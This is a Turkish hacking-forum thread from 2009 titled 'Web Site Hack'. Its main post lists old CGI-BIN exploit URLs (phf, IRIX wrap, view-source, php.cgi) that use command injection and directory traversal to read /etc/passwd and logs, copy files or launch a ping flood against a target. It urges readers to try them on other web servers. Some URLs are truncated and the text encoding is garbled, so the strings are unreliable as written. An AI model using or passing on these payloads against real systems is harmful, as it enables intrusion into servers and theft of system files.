Real Felaket

Web Sitemiden Yararlana Bilmek İçin Lütfen Üye Olunuz
Real Felaket

    Web Site Hack

    Paylaş

    Admin1
    G.K BAŞKANI
    G.K BAŞKANI

    Mesaj Sayısı : 2
    Kayıt tarihi : 17/06/09

    Web Site Hack

    Mesaj tarafından Admin1 Bir Perş. Haz. 18, 2009 7:21 am

    a- (Phf scripti): Pek cok web ana bilgisayari CGI-BIN guvenli?inden

    yoksundur. Bir de bunun uzerine sistem yöneticilerinin CGI-BIN guvenlik

    aciklarini bilmemesi potansiyel sistem aciklarina yol acmaktadir. Tum

    dunyada pek cok hacker'in kullandi?i cgi-bin guvenlik aci?i:

    http://www.kiraca?imizadres.com.tr/c...%20/etc/passwd

    Fakat bazi uyanik sistem yöneticileri phf komutunun kullanimini

    sinirlamislardir. Bu yuzden bu komutu calistiramayabilirsiniz. Fakat yine

    de alternatif web makinalari uzerinde denemekte yarar var.

    b- (Wrap Scripti): Irix isletim sisteminin 6.2 versiyonunda rastlanan bu

    hatayi da söyle istismar edebiliriz:

    http://www.kiraca?imizadres.com.tr/c.../../etc/passwd

    http://www.kiraca?imizadres.com.tr/cgi-bin/wrap?%0als (...)

    Dikkat edece?imiz tek nokta bu hata sadece IRIX 6.2'de var. !!

    c- (View Source Scripti): Denemek serbest (basariya ulasabilme

    ihtimali kadar ulasamama ihtimali de var)

    http://www.kiraca?imizadres.com.tr/c.../../etc/passwd

    ya da

    http://www.kiraca?imizadres.com.tr/c...iew-source?%1b or

    %0a %20

    d- (php.cgi Scripti):

    http://www.victim.com/cgi-bin/php.cg.../../etc/passwd

    e- Di?er Denenebilir Scriptler:

    http://www.kiraca?imizadres.com.tr/c...-c%201000%20-s

    %205000%20ip%20to%20shoot

    http://www.kiraca?imizadres.com.tr/c...cp%20phf%20fhp

    http://www.kiraca?imizadres.com.tr/c...%20phf%20.blah

    http://www.kiraca?imizadres.com.tr/c...l%20/dir/to/go

    http://www.kiraca?imizadres.com.tr/c...ww/dirtocreate

    http://www.kiraca?imizadres.com.tr/c...ogs/access_log
    avatar
    Kumpass
    G.K BAŞKANI
    G.K BAŞKANI

    Mesaj Sayısı : 5
    Kayıt tarihi : 20/06/09
    Yaş : 23
    Nerden : Konya

    Geri: Web Site Hack

    Mesaj tarafından Kumpass Bir C.tesi Haz. 20, 2009 11:58 pm

    Paylaşım için saoL..

      Forum Saati Salı Eyl. 26, 2017 12:19 am